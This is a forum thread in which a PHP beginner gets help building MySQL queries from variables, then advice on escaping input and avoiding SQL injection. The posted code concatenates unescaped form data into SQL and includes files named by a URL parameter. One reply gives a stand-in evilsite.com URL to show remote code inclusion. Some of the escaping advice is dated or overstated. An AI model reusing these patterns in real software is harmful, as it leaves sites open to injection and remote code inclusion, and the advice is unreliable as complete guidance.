Can I use a variable within a mysql_query?

[BonRouge]

OK. I'm new to PHP and MySQL and I'm just trying to figure a few things out.
I've followed the first four chapters of Kevin Yanks' book (I guess I should buy the rest of it, eh?) and this is where I am now... I have put some data into a table on my server using a form (I created the table with 'php myAdmin'). I'm able to pull data with data with the same subject title like this :

$result = @mysql_query('SELECT * FROM `comments` WHERE `Subject` = "bees"');
if (!$result) {
 exit('<p>Error performing query: ' . mysql_error() . '</p>');
}
echo $result;

while ($row = mysql_fetch_array($result)) {
echo '<div><p>Name :'. $row['Name'].'</p><p>Comment :'.$row['Comment'].'</p><p>Date :'. $row['Date'].'<p></div>';
} 

So I get all the comments about bees. What I want to do is replace "bees" in the query with a variable - which would be the same variable as the page name, so I could have the subject of a comment on a page automatically entered in a hidden form field (it would be about that page) and then all the comments about that page could be displayed below. I hope this makes sense. My problem is that I can't seem to get a variable in that query. I want to do something like this :

$page =" bees";
$result = @mysql_query('SELECT * FROM `comments` WHERE `Subject` = $page'); 

Thanks a lot for any help.

[jaswinder_rana]

$page =" bees";
$result = @mysql_query("SELECT * FROM `comments` WHERE `Subject` = $page");

use "quotes not 'quotes as php interprets variables in "quotes and just prints the string as if in 'quotes.

i think this is what you want.

[Dylan B]

$page =" bees"; 
$result = @mysql_query('SELECT * FROM `comments` WHERE `Subject` =' . $page); 

[BonRouge]

Hey. Thanks for the speedy response. Unfortunately, that gave me this error message :

Error performing query: Unknown column 'bees' in 'where clause'

I saw this a few times before when I was playing with different kinds of quotation marks. I don't want a column called 'bees' - I want rows with 'bees' as the subject title. Strange...

[BonRouge]

And Dylann,
Thanks - I just tried your idea but I got the same error message.

[swdev]

try this out

    // Just chage $page to the nameof the subject you require
    $page = 'bees';
    $sql = 'SELECT Name, Comment, `Date`, Subject FROM comments WHERE Subject = \'' . $page . '\'';
    
    /* ***** diagnostic ***** */
    echo '<br /> executing ' . $sql . '<br />';
    /* ***** diagnostic ***** */
    
    $result = mysql_query($sql); 
    if (false == $result)
    {
      echo 'Failed to execute ' . $sql . ' due to ' . mysql_error();
    }
    else
    {
      while ($row = mysql_fetch_assoc($result))
      {
       echo '<div><p>Name :' . $row['Name'] . '</p>'
               . '<p>Comment :' . $row['Comment'] . '</p>'
            . '<p>Date :' . $row['Date'] . '<p></div>'
            ;
      }
      mysql_free_result($result);
    } 

It looks like you problem was getting the quotes correct.

Ideally, you shouldn't select all the columns from the table using 'SELECT *', you should individually name the columns you require, e.g. 'SELECT Name, Comment, Date ...'.

Also, you shouldn't name a column using a reserved SQL keyword (Date). If you do, then you need to enclose that column name in backticks (`Date`). It would be better to give it a different name - say CommentDate.

Hope this helps

[Icheb]

$page = "bees"; 
$result = @mysql_query('SELECT * FROM `comments` WHERE `Subject` = "' . $page .'"'); 

Otherwise it compares the column Subject to the column bees.

[BonRouge]

Hey swdev,
Thanks a lot. That worked. I'll try to take the tips on board too. I can't say I understand what's going on 100% but I think I'll get there with the community's help.
Thanks again.

And Icheb. Thank you too.

[swdev]

BonRouge

No problems.

Read the php manual and the user contributed notes. There is a wealth of information in it.

Also, keep asking questions. The people here are very helpful.

[BonRouge]

OK... I got half of what I wanted to do - my pages will show the comments related to that page by using the same variable as the page name. I know this works because I put a few entries directly into the database where the subject name was the same as one of my pages. Now I'm trying to pass the same variable on to another page along with the others.

<form id="commentform" action="submitted.php" method="post">
<label>Name:<input name="name" /></label><br />
<input name="$page" type="hidden" />
<label>Comment:<br />
<textarea name="comment" rows="2" cols="40">
</textarea></label><br />
<input type="submit" value="SUBMIT" />
</form>

I want that $page to be the subject of the comment.
The next page has this :

 if (isset($_POST['comment'])) {
   $Comment = $_POST['comment'];
   $sql = "INSERT INTO  comments SET
       comment='$comment',
       name='$name', subject='$page',
       commentdate=CURDATE()";
   if (@mysql_query($sql)) {
     header( "Location: http://bonrouge.com/br.php?page=thanks2" );
   } else {
     echo '<p>Error adding submitted comment: ' .
         mysql_error() . '</p>';
   }
 } 

Obviously, I don't know what I'm doing, but I think you can see what I'm trying to do. Any pointers here?

Thanks again.

[duuudie]

Unless you're using heredoc syntax, you need to echo the $page var:

<input name="<?php echo($page); ?>" type="hidden" />

Even better, I would do something like this:

<input name="page" value"<?php echo($page); ?>" type="hidden" />

Once the form is submitted, request the value of the page field:

$page = $_POST['page']; 

you can then use the $page var in your query.

One good advice is to always check what is submitted by the client. Never trust anything coming from your users.

[duuudie]

Also: I assume that magic_quotes_gpc() is on since you don't use clean your data inserting it in the db.

It's a no no.

Use the mysql_real_escape_string() to clean your data:

$Comment = mysql_real_escape_string($_POST['comment']); 

Same goes for all the data coming from your form.

Inclue the following script at the top af all the pages dealing with get, post and cookies methods, if magic_quotes_gpc() is on it will virtually disable it, thus allowing you to clean your data manually:

function strip_magic_quotes($arr)
{
    foreach ($arr as $k => $v)
    {
        if (is_array($v))
            { $arr[$k] = strip_magic_quotes($v); }
        else
            { $arr[$k] = stripslashes($v); }
    }

    return $arr;
}

if (get_magic_quotes_gpc())
{
    if (!empty($_GET))    { $_GET    = strip_magic_quotes($_GET);    }
    if (!empty($_POST))   { $_POST   = strip_magic_quotes($_POST);   }
    if (!empty($_COOKIE)) { $_COOKIE = strip_magic_quotes($_COOKIE); }
} 

[BonRouge]

Duuudie,

Thanks a lot, I'll try to implement that now.
No idea what heredoc syntax is by the way.
And about not trusting users... you're saying I should not let people put comments straight onto my pages? Have you had problems with this in the past?
I've seen other sites with comments and, I don't know, it seems OK. Really, I'd be interested to hear about any problems people have had.

Thanks again.

[BonRouge]

As for the your second post there, are you saying I should do both of those things? Add this : mysql_real_escape_string() to each of the posts and then add all that code at the top of the page?
I'll do that now, but without wanting to sound like I know next-to-nothing, why?

[duuudie]

What I meant is that you should check what they submit.
Use PHP to check that the data doesn't exceed the expected length etc...

Most important thing: clean your data. If you don't, you're exposed to sql injections attack. mysql_real_escape_string() will fix all of the problems you might encounter in terms of cleaning.

Here is some code to check the data:

function checkIncomingData($idata, $minsize, $maxsize) 
{

   if ( 
   
         $idata == '' 
         
   or  
   
         strlen($idata)<$minsize

   or  
   
         strlen($idata)>$maxsize 
      
      ) 
   {
      
      return false;
   
   }
   
   else
   
   {
      
      return true;
   
   }
} 

you can add as many checks as you want. The $idata == '' part and $idata<somelength is somewhat redundant, but I keep it to display different error messages.

here is a function that cleans your data. mysql_real_escape_string is a little more torough than addslashes.

//make sure that nothing bad can be entered by the user (-->sql injection attack)

function cleanIncomingData($idata) 
{

   $cleaned = trim($idata); 
   $cleaned = mysql_real_escape_string($cleaned);

   return $cleaned;
} 

you would typically use these functions like this:

if (

      !checkIncomingData($_POST['categoryname'], 1, 100)
   
or

      !checkIncomingData($_POST['pagetitle'], 1, 100)
   
or

      !checkIncomingData($_POST['pagetexttitle'], 1, 100)
   

or

      !checkIncomingData($_POST['pagetext'], 1, 50000)
   

   ) 
   
{

   header('Location:' . $url . 'errormessage.php');
    
}

else

{

   $categoryname  = cleanIncomingData($_POST['categoryname']);
   $pagetitle     = cleanIncomingData($_POST['pagetitle']);
   $pagetexttitle = cleanIncomingData($_POST['pagetexttitle']);
   $pagetext      = cleanIncomingData($_POST['pagetext']);

  //insert in db
} 

Also, you will use htmlentities() when you display the data. Do not use this function to handle incoming data. Only use it once you want to display it.

htmlentities() will ensure that users can't display html code. Important note: htmlentities() doesn't deal with attributes in html tags.

[duuudie]

As for the your second post there, are you saying I should do both of those things? Add this : mysql_real_escape_string() to each of the posts and then add all that code at the top of the page?
I'll do that now, but without wanting to sound like I know next-to-nothing, why?

Don't worry, we are all beginners at some point

To make a long story short, a sql injection attack is a malicious code entered by a user that contains a string that will then be executed as a part of your sql statement. If you don't clean incoming data, someone might simply erase all your data... That's why magic_quotes_gpc() was created. Its purpose is to automatically clean data by adding slashes to chars that might be problematic. So ' would become /', " -->/" * --> /* etc...
As you can see, it escapes these chars so that they can't be understood as part of your sql query.
Now if you create a whole website using with magic_quotes_gpc() on and that you have to move this site on a server with m_q_gpc() turned off, you're in trouble.

That's why it is recommended to escape strings yourself, using the mysql_real_escape_string() function. But guess if magic_quotes_gpc() is on, you will escape twice the unwanted chars... That's why the function posted above is useful, no if magic_quotes_gpc() is on, it strips the extra slashes, if it's off, it does nothing.

From there on, you can rely on your own code to clean incoming data and you won't have to bother about servers different settings.

I strongly recommend the reading of the first post of the PHP tips and tricks thread stickied in this forum

[BonRouge]

duuudie,

I'm afraid I may have done something wrong because after putting in what you suggested, the page variable still isn't getting through to the database. Everything else seems fine. I don't understand why (but then, I wouldn't).

I'll read your latest post more carefully when I've got this sorted. But erm... what is 'sql injections attack'?

Thanks again

I'll attach these two files so you can have a look - it might be better than snippets (and you might be able to tell me how bad I'm doing).

[BonRouge]

I was actually reading that earlier - the tips and tricks thread - as I was trying to do this. I've read a lot of the php manual and some other stuff, but I think it takes time to get used to - you know, to sink in. In fact, I always think the best way to learn is by doing, so I'm doing.
I was a bit shocked when I was reading the tips and tricks (first part), when I came across this :

First and foremost, I believe, is the use of register_globals. For those of you who don't know, register_globals allows you to access variables from forms and URLs (such as file.php?var=foo) as $var in your script -- "magically" created global variables.

It seems to be saying not to call your pages 'file.php?var=foo'. Now, I was reading A List Apart and the tutorial there - the basis of my new site (nothing big, mostly about css and javascript - little things I've picked up) - is that. Am I misunderstanding something? Do I need to go back and start again?

[duuudie]

Actually, append data to the url is not a bad thing at all. What uis bad, based on the example you provided is to access var just by typing $var.

The good practice goes as follow:

$var = $_GET['var']; 

It prevents some painful errors.

I'm going to sleep right now so I'll have a look at your scripts tomorrow if no one else answered your questions.

[BonRouge]

Well, thanks for everything so far.

[BonRouge]

Bit of a **bump** this, because I still need help with passing my variable, but I do have another question about the last point - I'm still a little unclear.

Here's my 'template' :

<?php include ("br-head.htm"); ?>
<body>
<div id="wrap">
<div id="menu">
<?php include ("menu.php"); ?>
</div>
<div id="body">
<?php include ("$page.htm"); ?>
<div class="clear"></div>
</div>
</div>
</body>
</html>

The menu points to pages like br.php?page=dmenu.

Is this bad? If so, what should I do to fix it?

[duuudie]

Hi bonrouge,
btw what's your favorite red wine?



Your attachement hasn't been approved yet, yo you'll have to wait a little.

About your second question, the rigester_globals issue is kinda scaring you right?

Don't worry, everything is fine and it's a common practice. You're not doing anything wrong. The only thing that you MUST do, is to check if you have the expected data.

For example, if you retrieve data using the GET method (like in your above example) do something like this:

if (

   !isset($_GET['page'])

or

   $_GET['page'] != dmenu

)

{

//do something, like redirecting to an error page

}

else

{

//do what was expected

} 

You should make checks like that as often as possible. Always check that everything is set, that you have the expected value for the variable in question etc...

[BonRouge]

Sorry, I don't quite get it. How would that fit into my pages - either that 'template' page or the menu page?

And... here are links to those txt files.

http://bonrouge.com/comments.txt

http://bonrouge.com/submitted.txt

I really appreciate your help.

Edit:

Favourite red wine - Rioja (Spanish)

[BonRouge]

OK. I have my little problem sorrted out.

I copied this from one of the posts above (duuudie) :

<input name="page" value"<?php echo($page); ?>" type="hidden" />

I just noticed the '=" is missing! (value="....")

Anyway, I'd still like to know what all that was about before - being careful with variables. It's beyond me. (Well, it's not beyond me - I just don't get it at the moment).

Thanks again for all the help.

[duuudie]

So the problem is fixed, right?

Now we can talk about a few important things then

Just imagine that you have a url like "file.php?var=foo". You will use your $var for various purposes. Now what if a user modifies your url like this: "file.php?var=yeahwhatever"? This can leads to unpredicatble results, depending on the use you kane of your $var. Let's imagine that you use your url to dynamically include a bit of code, like somme css. And now imagine that a malicious user types the following url: "file.php?var=http://www.evilsite.com/evilcode.php".... Can you guess what would happen?
That's why you need to check your variables.
Now let's go back to your example: br.php?page=dmenu
I guess that you use the $page var to load a dhtml menu or something like this.
Can you tell me what would happen if one your users made a typo, or changed the url, without even noticing it amybe, to "br.php?page=ddmenu"? And now what if someone was like "dude, this page rocks, you got to check it out, the url is something like www.bonrouge.com/br.php". What is the behaviour of your page in case no value is set for dhtml?
For all these reasons, you have to make sure that you get something coherant from your $_GET, $_POST and $_COOKIES, because they interfer with the user and you shouldn't trust your users. It's also very easy to fake a $_POST submition. So don't think that forms are the solution.

Therefore, you should check your variables to make sure that you get what you expected. In our example, it would look like something like:

$menu = $_GET['menu']; //we retrieve the value from the url

if (

      $menu!='dhtml' //if menu is not equal to dhtml
   ) 

{ 

   //we display a default menu

}

else

{

   //we display the excpected dhtml menu

} 

That's the core idea.

I found a post that you might want to read to gain a better understanding of sql injections attacks, which is another sensitive topic for beginners:
http://www.sitepoint.com/forums/show...&postcount=173

Don't hesitate to ask any questions